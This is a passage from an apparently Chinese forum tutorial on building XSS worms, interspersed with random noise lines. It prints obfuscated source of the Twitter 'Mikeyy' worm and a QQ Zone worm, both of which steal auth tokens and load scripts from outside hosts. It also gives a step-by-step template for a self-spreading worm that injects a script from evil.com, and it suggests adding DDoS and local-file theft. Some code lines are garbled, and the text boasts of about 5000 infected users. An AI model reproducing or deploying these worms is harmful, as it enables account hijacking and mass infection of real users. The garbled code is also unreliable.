' r) M: `3 \& X/ o/ k$ W$ X
& U; i, @7 E$ H( o$ x$ C5 a* I

% P1 A- n. v! [XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

<script>
4 B3 B5 c8 \9 j. ?' y& U复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
+ O+ i" n, `# i" j. S第一版:
  下载 (5.1 KB)
5 G* s/ ^( G8 {8 s$ |
6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
' I. _, y2 o) n6 y4 Q
* z% v1 n; C( R" \8 m   3. function XHConn(){  
0 S$ Q% j3 `& m. c+ ?8 h
   4.   var _0x6687x2,_0x6687x3=false;  

& [0 j/ i* M7 w; u. w, r) B2 {8 h   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
8 N6 V" `/ \8 d7 f# p
* H1 O  _4 x" B+ V: r6 Y$ Q   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
! \5 b2 a3 Z6 u/ o" P
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

- F- e$ J# S7 A0 x5 s0 t+ a: v   8.   catch(e) { _0x6687x2=false; }; }; };  
. K' c, m7 Z% b2 u复制代码第六版:   1. function wait() {  
  K+ ^6 E  F- a0 i! z
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

) e& C6 c6 C  F- p( w, q8 k   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

! t- |8 l; ]/ C   6.   var authtoken=authreg.exec(content);  
6 ^% e/ |8 ~  n: W, k9 b  f9 L, k" K& p
+ w4 V' p+ [: e9 G5 q   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
' s4 w$ t% L/ Q! h
/ x0 J1 R; m# Q: H) C9 P& |  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
1 E/ d& x2 W9 W4 y
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

2 K# }. p/ c; h  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
5 X* A, M5 c5 j
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
/ p8 B9 ]8 |; ]- w" b( l; M
% g" v( f9 b" M% X& v8 I, |  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
8 C) k% o8 |  w4 ]* W
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

1 Z0 b. e1 A) m/ x  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

' z3 e# ?' E5 q9 h  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
8 K" O4 ~# e( P; J: d
$ j( d0 |) o8 O# @2 j  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
0 T. ~9 X) ]6 F$ H" K* O+ d
  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

4 I( j3 [9 C) t4 J6 E  31.   var updateEncode=urlencode(_0xf81bx1c);  

) F! t. i3 L; Z  32.   var ajaxConn1= new XHConn();  
; M0 A/ N0 i, ]
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
* P  N% ^2 g9 q# }+ q
" U' g# s* w7 C( v  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

% p: f, }0 ~: b% v4 Q1 l  35.   var XSS=urlencode(genXSS);  

: @6 v/ C$ Y# m7 J  36.   var ajaxConn2= new XHConn();  

/ n, l: j, ~/ H  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
- Z2 g& ~5 B/ U0 P* ]# n
. G& {6 @  d( c# c' F$ i+ xwindow.onerror=killErrors;



7 Q6 L6 z. g: {var shendu;shendu=4;
  B% r* {, @+ q
$ O. k; t; W% f4 d//---------------global---v------------------------------------------
* |3 [1 [2 O8 p% a7 d
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

% R- i  ^9 E& t0 {/ l( I& Lvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
, u' q$ X5 z2 [
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

3 f) O+ f# X2 [  y/ q# r# [        gurl=gurl.substring(0,gurle+3);        
9 {5 e- z4 R3 W( Z" h' ~
        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
* F% T& Z: A0 y) J; o* t6 G3 _
% M% E0 o! `! c  J9 h7 ~        visitorID=visitorID.substring(cookieS+14);
/ ^' M' H" ]0 E# d, M
        cookieS=visitorID.indexOf(",");
1 `, R- u) A9 x7 _
% p, k/ X6 T! @        visitorID=visitorID.substring(0,cookieS);
5 B  N' ]- c- X( f) m3 C. W5 @, I
        get_my_blog(visitorID);
; F9 d* e' g8 X$ s
9 t" t+ ~, V4 w+ M4 o7 L3 Q        DOshuamy();
3 B) X) v' _; d
9 e- y5 K; R* k  z+ @; V" W

//挂马
& R6 M8 r* e# Z3 W9 d! z1 ?' ]  z1 v
function DOshuamy(){
+ u+ f0 M0 q% W4 R  r
var ssr=document.getElementById("veryTitle");

# j% X9 X) R% c( |* Dssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
9 B& }5 e' }) [, a) x2 m
}

8 G" }& d/ ~- g3 D4 `; h

! Z7 m: O: p2 r: X. q! W0 J) m//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
; M- B/ o* m# l" t
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
0 Q& \+ m# _" l
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
# v8 t% }- O$ [/ A$ X% x
2 R8 B% e+ Y$ o& N; v# G     get_my_blogurl(guest);    //执行这个函数

+ c) i9 G& [$ d( ?! q& O    }
- W. \$ u' z, S' f/ S
}
9 V9 A# h" m* E$ F
9 m3 N; B( `- x# R$ w$ T6 V; n. l* b

) J9 r2 @* E) ], c# q. G//这里似乎是判断没有登录的

6 {; W0 i  ^. W( H5 S5 Bfunction get_my_blogurl(guest){

  var mybloglist=guest;

- S9 d0 \: r: w/ E6 ]8 o0 L1 R# L" T  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

! W& K1 k$ n* E6 b( ^$ o     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

+ h: Q; ]6 q! G6 t: n     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
. u" W, E" [- G, F: b$ A! D
         myurls=mybloglist.indexOf(')');
# C- L; M- m8 w/ A. ]. o  X
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

9 t" n3 ~4 v; n& n8 V  X! z. X}
0 r$ V1 |, W( e5 n; V3 U  K# [
& ?* q* x6 U# \3 F: Z. G6 q$ _5 o9 Zget_my_testself();    //执行这个函数
! R) r9 G3 g! B
}

  i1 `$ L* m% X7 h' @9 V+ y! o
$ J) q( U$ ~. x/ F7 F
//这里往哪跳就不知道了

1 V2 t! X$ A* _6 Q% _function get_my_testself(){
  d, ]* [: {8 `% K- F' a, v
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
( r4 v" ~' U9 U$ y; s
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
5 \: V! ~" o& {0 X7 R4 F) f* Q
$ F) N  M8 A0 A      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
7 V: u6 [" W3 X0 _9 q) {8 f
4 h+ q/ l+ i) r% m5 i' P  x      if(xhr2){        //如果成功
; j' k9 E6 u& M! e( B# N% l0 Q8 b
6 t% z" r1 {6 B1 j" w5 [5 A              xhr2.open("GET",url,false);     //打开上面的那个url
# {  H* {# P  D0 k' z4 \
              xhr2.send();
: V' Y2 [6 ?' E/ G# q
6 L' g, R% @. ^2 z$ M: z              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
9 Y6 X5 U$ j' y+ @! O# W; H
: N' f( ~2 ^- S* O# v              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
/ i6 j: i$ d* G- r1 F  w1 g8 ]' s
3 r3 W0 b* q+ }9 r8 u) l              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
/ _( F) a4 `" }
, I" R/ Z9 t3 ~, F. n; n  n9 N                targetblogurlid=myblogid;   
0 T! O; Q, r" L, P; I
" X6 ^1 ^( a6 t( J3 w. R                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
1 f3 O6 @4 u9 x/ r/ m
               }

& x* S! [; ^, W- K& }1 J( q              if(mycheckit=="-1"){
' q- _1 `7 `0 C" ?1 J
7 a. _( U8 n: |                targetblogurlid=myblogid;
( s8 r% c: o: I
                add_js(visitorID,targetblogurlid,gurl);    //执行它
4 ?: F: O, `0 E: X9 J, U
                break;
& {& s8 ]# a* A+ s, B
0 D) o# d9 ~6 m: C               }
; o: t6 |0 j% S# i
$ Y0 ]3 `# ~/ A6 Y. f5 R        }      

! D6 _/ o( h* {# ^}
) e' }# |; V6 K- V5 c! u
. J1 j' M8 E  V( W" \$ i$ l& s! U9 C}
6 g0 N5 H) P6 ?, N# }


//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

' l( _2 x( J/ i9 |# N    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

+ U5 X( z6 [1 ~( h( X4 c. k    else  
' @2 ?7 [; v6 [
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
  W* \2 p' A, O" z
+ ^6 r6 F* M9 ?) s) r& g        for(var i=0;i<MSXML.length;i++)  

        {  
* `' ^  w3 x6 L# \8 D2 K
7 A' N7 s1 k& f0 |$ K, T            try  
& c# ~2 h3 s  R  x! D- I% w% R* I
            {  

$ ?" g+ o" y% s6 G9 }+ }                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
& T% w) r. [4 U* S
& ]/ s% ^* O: a) _            }  

            catch (ex) {  
# M9 M7 J0 s2 G# {# Z6 B5 ~$ ]' v
. C5 n9 T: b8 ^5 |$ G            }  
. x: t/ c, e, ~$ X- u! M" A
         }  
) \! P6 i, Z- \: `- v% _
" k+ y" p. z4 D) T; N      }
3 R- {& b3 s: Y: t/ O
return XMLhttpObject;

}  

, p: O' q6 d/ w( X( d

3 ]7 F* h. X* I& o' J//这里就是感染部分了
% c/ g% G6 m' |8 a% G) J. }% m
function add_js(visitorID,targetblogurlid,gurl){
. C, J% d$ q) W: {) I
: o$ K6 p* o( F- r) r! uvar s2=document.createElement('script');
7 Y7 _% x9 w, @* e
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
# U5 T6 K. [  y9 R1 C  |
s2.type='text/javascript';
$ L  n* P" \9 j3 Y$ j% L3 A  Z* X0 P
: W8 X, q9 Z( t% O2 t3 u4 qdocument.getElementsByTagName('head').item(0).appendChild(s2);
$ m' }: u- D3 |, U3 v
( e+ L, y6 K; q* s+ O}
( ?4 y4 d, i! F4 W% B. J" l
, I+ b% e- n# k7 B: O1 v
: k" B2 a( D; z8 ~8 P' Q0 d
. L; C% o) a4 Yfunction add_jsdel(visitorID,targetblogurlid,gurl){
( X+ Z: k* Y5 n) e1 V! \! y: \, l9 K
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
) Q% i. @9 h6 c3 g/ k+ Q
s2.type='text/javascript';
! o3 r& U# r  f- f, h$ M( {
document.getElementsByTagName('head').item(0).appendChild(s2);
+ T0 ?% j: w9 f7 A+ i
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

; U2 T$ _* o; m' @2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
! H$ L) F" F* @
& q& |( e+ f  I综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
# @8 K4 e7 o) R5 q5 V7 A
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
3 l  Q+ b' Z; z1 c! I% \3 o
& k0 o* Y( M' V( orequest = new XMLHttpRequest();

if(request.overrideMimeType) {
$ M( [! |  M/ `% r. B
request.overrideMimeType('text/xml');

}
; J/ e2 b1 G$ ]7 A. H
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' B: \5 i" z- r) u( i0 z, F
for(var i=0; i<versions.length; i++) {

try {
! q7 s1 M' j2 H! @
% g: Z/ ?. F2 [$ P4 h8 ]* Irequest = new ActiveXObject(versions);

} catch(e) {}

}
4 m+ x. Z# y; z# ]+ \
}
5 O2 X: x0 E6 `" {4 g: J* v
xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

9 V1 H0 u: D; K$ L/ w# u9 {) q" `( Y        var Browser_Name=navigator.appName;
. m" I$ f4 f) j
0 A% }# `* X4 M        var Browser_Version=parseFloat(navigator.appVersion);
5 k0 h: o3 _/ d+ a$ N9 ]2 h
! _) [6 I5 u: Y  |8 w        var Browser_Agent=navigator.userAgent;
* [9 L. A; b2 ?- X& B7 x# w
        

        var Actual_Version,Actual_Name;

& w' n5 L! R4 b; h, Z- @$ v        

7 q! Z8 @# l0 G4 M' H7 V        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

) C$ k2 T- p" V0 w5 ]% a, L        var is_NN=(Browser_Name=="Netscape");

1 f% h5 j% U; @, p# t        var is_Ch=(Browser_Name=="Chrome");
7 x) S1 T; W- c; }) c
  x+ D. u( \" a) \6 m        
; w) b1 `3 ]  i( c
        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

9 B6 E! [+ M  }4 \! P3 R                var Version=Browser_Agent.indexOf(" ",Split_Sign);

' o' \$ ~7 Y; H, J. t3 E                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
: @$ F% R2 i9 s4 e
) J# b) z: z8 a  |' r7 l, }/ I

" _- k- a8 x! L& A3 S2 A4 q9 s; u5 H                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

( `2 o$ a/ ]3 _+ b; a! C4 N                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
# B* Z/ y2 Z' ?) @- w& f9 W, e6 @
+ O( L( h6 |' [            }

* U( W: D/ @6 i$ b* T            else{
; g# _7 Y. H* R4 y+ ^5 o# k- E% y
                Actual_Version=Browser_Version;
7 D7 h, ?$ y' H3 R
                Actual_Name=Browser_Name;

            }

- r# s, U+ A1 j. b  s8 g8 ~+ c        }
& A: q3 f0 ?. J' [7 o9 ?
        else if(is_IE){
# Q7 |- @! F0 Q: P/ D
            var Version_Start=Browser_Agent.indexOf("MSIE");
, H, T' S& W+ ~+ ?* B
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& e- |$ P' |: F; A- y( u
            Actual_Name=Browser_Name;

, T( b9 C- o" F2 t/ `            

1 l% Q$ j4 R  g            if(Browser_Agent.indexOf("Maxthon")!=-1){
) `( }8 K1 G0 Z8 ?# N$ Z. D) i
8 t' D# |$ i. q: E! z( T- f                Actual_Name+="(Maxthon)";
( v$ `" P8 E6 h" r. A9 @
' e' P  k. \7 l# {# o            }

0 F, x" ]* f! F$ |. q5 H  h% d            else if(Browser_Agent.indexOf("Opera")!=-1){
# ?/ u& h2 X1 r8 k: N$ w
  M) T! b* K' A; ~                Actual_Name="Opera";
& }5 A; W- q( l; V  Q
( l4 j1 j% n0 n' P; Z                var tempstart=Browser_Agent.indexOf("Opera");

. q9 L2 g- l) H, l# ?                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
$ Z; Z6 E8 X0 U! a0 G8 r- S
5 z2 _% j$ y* [4 L! P0 Z! y0 {            }

/ r% A$ R0 n  ?+ U+ p& C        }

        else if(is_Ch){

# \, u/ Z& j7 e4 C            var Version_Start=Browser_Agent.indexOf("Chrome");
0 y5 M6 k- T# C" W
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
7 \1 Q1 j( |- |7 L
: C+ A+ ^. P- h% |* e0 j            Actual_Name=Browser_Name;
; w# O- X: H. V
            
' ?9 ?3 t0 T. r. H9 `) m0 v2 I
. [1 ?9 E. |2 T. ^- a& v            if(Browser_Agent.indexOf("Maxthon")!=-1){
% G6 {6 r. E/ K
                Actual_Name+="(Maxthon)";

            }
( w' o4 e2 |$ u& {) d9 t- B
2 d2 L1 \  v7 n; P! X$ t            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
( z1 ?9 C  _( C) I$ r/ B
. D) H5 U8 P( ~9 D/ }0 M# Z. V                var tempstart=Browser_Agent.indexOf("Opera");

4 z) z; P  v/ q: i2 r6 ~% ]                var tempend=Browser_Agent.length;
% ^2 o' }$ v' \+ F+ G0 |# c- R
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

  U4 h, a/ a9 C: {5 j! S4 w            }
6 s# A. R3 D2 I& o
        }

        else{

: s" `2 ]9 \- V- w9 ?7 {            Actual_Name="Unknown Navigator"
; i1 h0 K) B4 S: t7 R; s# Y3 w
5 w" R8 m5 n3 k. J6 ~            Actual_Version="Unknown Version"
4 p& E. F! u1 L$ ~* F( B8 v6 }! H
        }


6 }* l; Y1 F# H- X
7 ]9 g7 t; R0 p4 q; T) Y  C        navigator.Actual_Name=Actual_Name;
8 R8 g, M' T. S! a( H4 I! j
        navigator.Actual_Version=Actual_Version;
" w; ?8 q# a) h$ o8 P+ N( Q
        
/ d" S  A! H# {9 N
2 J7 {' h, I# G  ~" Q        this.Name=Actual_Name;

+ H) I8 ?+ ?. R2 }  K- F; P' g: d( K        this.Version=Actual_Version;

    }

- c# D+ g9 ^+ h& y. g. E, b' x- g    browserinfo();
: e2 ^0 d5 G# f/ h6 Q, E( }
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

& O& J, s/ e' t    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
  m3 V( P& ?- R8 y! U  w
2 o. S6 [0 k3 W! P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

( \: [/ D5 ^7 X" v1 x5 p    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
! o% n' c" X8 \; e3 R复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
$ ~; w& b2 |4 q2 l' X! O/ o
& r8 G! F2 A. G, M. o& [) vvar resource = xmlHttpReq.responseText;

+ R% u0 L- S* @- r3 ]1 X. h5 fvar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
1 s! U# T% j: C. U% u( j
8 y1 X4 m; ~. F( ~id++;

! \* @: m9 L* C5 B0 y}
( V: x6 @* N0 z, r* L复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

- H, _; @$ C) O+ \! Cvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
- Z6 g5 O+ P) c% L; [* M* F
1 n$ g0 G) s# p: _6 b8 h4 {xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 d3 J2 ?9 S4 S2 P4 @: G
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* Q' C* N( V/ T" A
$ W, P; g4 l4 H! _. t, ?; a+ P  pxmlHttpReq.send(post);

7 M$ I* [4 `% V8 l! |: ^}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
" v' R  O& j4 p3 }
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

: d3 d, @. q; p% R7 ~var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

) h0 f- j& q! X4 t# e% wvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
! y- _5 F$ x! s. u6 U5 }
var post="wd="+wd;
  n8 @+ B3 \+ B3 m
# B0 J3 k9 m/ b, I$ IxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

- l8 D7 Y. Y! D2 C  YxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
' p# X/ k- U# y0 b+ W3 J
& Y9 P" n4 Z5 Y+ t3 pxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
8 S% ?- S: B' U9 \1 S! A
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
5 O. z$ w) T; m4 U/ ]
- i( E! q4 A# J. e. I4 P) T1 H& d}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 Q( W& P0 I) P/ l


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
4 F; t$ T) [0 S* p蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
5 g8 B$ t9 G0 c! o) Z操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

2 u! }# D  |  u- r- G( w$ N0 ^


. P  G7 x9 Y7 S0 B


( X  m. l5 }# ^
本文引用文档资料:
: X) a6 a9 p- u
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
0 {# U! ~# k4 K) f/ f+ O"Cross Site Tracing" (Jeremiah Grossman, January 2003)
3 z; M" x+ x6 ], ^) V: q+ ^6 F6 f3 zhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
/ A+ k' n9 @" P* u! u空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
+ K4 I) s# n, d& E